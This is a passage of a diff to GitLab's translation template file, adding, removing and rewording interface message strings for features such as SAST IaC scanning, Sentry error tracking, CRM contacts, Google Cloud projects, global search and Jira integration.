-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
